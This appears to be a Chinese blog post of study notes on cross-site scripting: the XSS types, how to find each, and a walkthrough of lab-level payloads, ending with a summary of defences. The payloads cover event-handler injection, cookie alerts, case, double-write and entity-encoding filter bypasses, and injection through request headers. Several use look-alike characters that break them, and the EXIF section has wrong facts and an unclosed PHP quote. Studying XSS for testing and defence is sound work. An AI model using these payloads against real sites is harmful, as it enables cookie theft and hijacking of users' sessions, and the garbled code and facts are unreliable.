Xss基础

Xss基础

概念(跨站脚本攻击)

利用网页开发时留下的漏洞,通过注入恶意指令代码到网页,从而对用户进行攻击

Xss和sql的区别

  • Xss和sql注入攻击的指令都是由黑客通过用户输入域注入的,但xss注入的是html,而sql注入的是sql命令

  • Xss和sql注入都利用了web服务器没有对用户输入数据进行严格的检查和有效过滤的缺陷

  • Xss攻击盗取web终端用户的敏感数据,甚至控制用户终端操作;sql注入攻击盗取web后台数据库中的敏感数据,甚至控制整个数据库服务器

Xss类型

反射型xss

存储型xss

DOM型xss

xss类型之间的区别

攻击对象

解析位置

存储时间

输入点

反射型xss

需要自己取找寻攻击对象,向攻击对象发送特定的url,并且被攻击者要点进链接后,才能进行攻击,所以攻击范围不是很广

浏览器

只能即使即用,没有持久性

(必须要被攻击用户点击特定的url才可以进行攻击)

一般在搜索框或者页面跳转这些地方

存储型xss

通过广撒网或者其它指定的方式,将存储型xss放在具有xss漏洞的网站上,只要有用户去点击,即可进行攻击,也可以自己去找寻攻击对象,所以攻击范围更广

服务器

可以存储进服务器(只要服务器中有存储型xss就可以进行攻击)

一般在留言或者用户存储的地方

DOM型xss

(DOM反射型xss)

攻击方式和反射型xss差不多,都是向攻击对象发送url

浏览器

是在DOM位置上,不取决于输入环境上

反射型xss漏洞的查找

直接查看网页的url里面是否存在参数,有参数存在则存在反射型xss

存储型xss漏洞的查找

直接在留言框或可以输入输出的地方输入要注入的代码

DOM型xss漏洞(反射型DOM)

该类型xss是不需要经过后端,直接在服务器前端js渲染即可完成反射型DOMxss,前端js渲染过程在赋值处理中造成闭合形成一个新的标签再次解析,从而导致DOM型xss的形成

Xss辅助测试工具

Beef

Xss’or

IE Tester

有些网页利用了转义字符(keyword和value)

Keyword的闭合方式是双引号

Value的闭合方式有两种:单引号和双引号

如何判断value使用的是单引号还是双引号的方法:

输入’“>三个字符测试闭合,查看文本框内的内容

文本框无内容就是单引号,有内容为且内容为’即为双引号

Xss一般的攻击代码如下

<script>alert(‘yes’);</script>

<script>alert(document.cookie);</script> 获取cookie

Onfocus=javascript:alert(‘xss’)>

‘Onfocus=’alert(123) 当用户输入时才运行的脚本

无过滤机制

<script>alert(‘111’)</script>

新建标签(当发现常规的被过滤掉时所采用)

"><a href=javascript:alert(1)>xss</a>

单引号+事件响应

'οnclick='alert(111)

双引号+事件响应

“οnclick=“alert(111)

超链接

“><ahref=’javascript:alert(1)’>tjy</a>

大小写绕过(也可以用其他的代码,只要里面含有大写就可以实现大小写绕过)

“ONclick=’javascript:alert(1)

“><aHref=’javascript:alert(1)>xss</a>

双写绕过(找到被过滤的代码,写两份,其中一份包含在写好的一份中,这样就可以实现双写绕过)

编码绕过(当发现常用的代码直接写入html中,没有任何反应时,可以猜想一下是否为编码绕过,这里需要用到工具,这里必须要用到伪协议)

HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn) (这是工具网址)

使用伪协议:javascript:alert(1),将ri使用工具转化成&#114;&#105;

javasc&#114;&#105;pt:alert(1)

检测关键字(还是和编码绕过一样,但后台源码中加入了其他的东西,例如strpos函数,这个意思是输入的字符串里面必须要有某些特定的字符(http://)而我们可以把它加上在注释掉就行了)

javasc&#114;&#105;pt:alert(1)//http://

隐藏的信息(这里会有几个参数,而我们则要判断出哪个参数可以时我们自己传参的,然后通过更改参数重而达到自己的目的)

1&t_sort=1"οnclick='javascript:alert(1)' type=button >//

Type=button 将其转化成输入框,从而和Onclick结合

1&t_sort=1" οnclick=‘javascript:alert(1)’ type=button >//

referer信息(这个关卡需要用到抓包工具,需要修改referer的值)

Referer:1"οnclick='javascript:alert(1)'type=button >//

User-agent信息(这个关卡需要用到抓包工具,需要修改user-agent的值)

User-Agent:1"οnclick='javascript:alert(1)' type=button > //

Cookie信息(这个关卡需要用到抓包工具,需要修改cookie的值)

Cookie:1" οnclick='javascript:alert(1)' type=text > //

Exif xss(这种类似于上传文件的漏洞)

Exif是可交换图像文件格式,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

这里是将xss写到exif里,exif是PSP扩展,如果要用exif_read_data函数记得开启扩展

一下是xss代码

<?php

$exif = exif_read_data(‘test.jpg);

Var_dump($exif);

?>

Ng-include属性(没太看懂,但可以使用新标签去解)

<ahref=”javascript:alert(1)”>xss</a>’

或者

<img src=1οnerrοr=alert(1)>’

空格实体转义

使用URL编码将回车符转换为%0d(或换行符%0a)替代即可。

<img%0dsrc=1%0dοnerrοr=alert(1)>

参数拼接-1(这里有个swf文件没有被加载出来,swf文件:即shockwave flash文件,能被flash player打开)

?arg01=onmouseover&arg02=alert(1)

或者

?arg01=a&arg02=bοnmοuseοver=alert(1)

参数拼接-2

?arg01=onmouseover&arg02=alert(1)

或者

?arg01=a&arg02=bοnmοuseοver=alert(1)

XSS(Cross-Site Scripting)是一种常见的网站安全漏洞,攻击者通过在网页中注入恶意脚本来攻击用户。以下是关于 XSS基础知识: 1. XSS 的原理:XSS 攻击利用了网站对用户输入的信任,攻击者将恶意脚本注入到网页中,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。 2. XSS 的分类:XSS 可以分为三种主要类型:存储型(Stored XSS)、反射型(Reflected XSS)和 DOM 型(DOM-based XSS)。存储型 XSS 注入的恶意脚本被存储在目标网站的数据库中,当其他用户访问该页面时,恶意脚本会被执行。反射型 XSS 注入的恶意脚本通过 URL 参数传递给目标网站,目标网站在返回的页面中直接输出了这些恶意脚本,用户点击链接时脚本被执行。DOM 型 XSS 则是利用了网页的 DOM 结构,通过修改 DOM 中的内容来触发漏洞。 3. XSS 的危害:XSS 攻击可以导致许多危害,包括盗取用户的敏感信息(如用户名、密码、cookie)、篡改网页内容、进行钓鱼攻击、传播恶意软件等。 4. 防御 XSS 的措施:为了防止 XSS 攻击,可以采取以下措施: - 输入验证和过滤:对用户输入的数据进行验证和过滤,过滤掉不可信的字符和脚本。 - 输出转义:将用户输入的数据进行转义,确保输出到网页时不会被浏览器解析为可执行的脚本。 - 使用 HTTP 头部中的 Content Security Policy(CSP)来限制网页的资源加载和执行。 - 设置 HttpOnly 属性来限制 JavaScript 对 cookie 的访问。 - 定期更新和修复网站的漏洞,以防止攻击者利用已知的 XSS 漏洞。 以上是关于 XSS基础知识,深入了解 XSS 攻击的原理和防御措施对于网站安全至关重要。在进行渗透测试时,理解 XSS 的工作原理和常见漏洞场景可以帮助你更好地发现和利用 XSS 漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值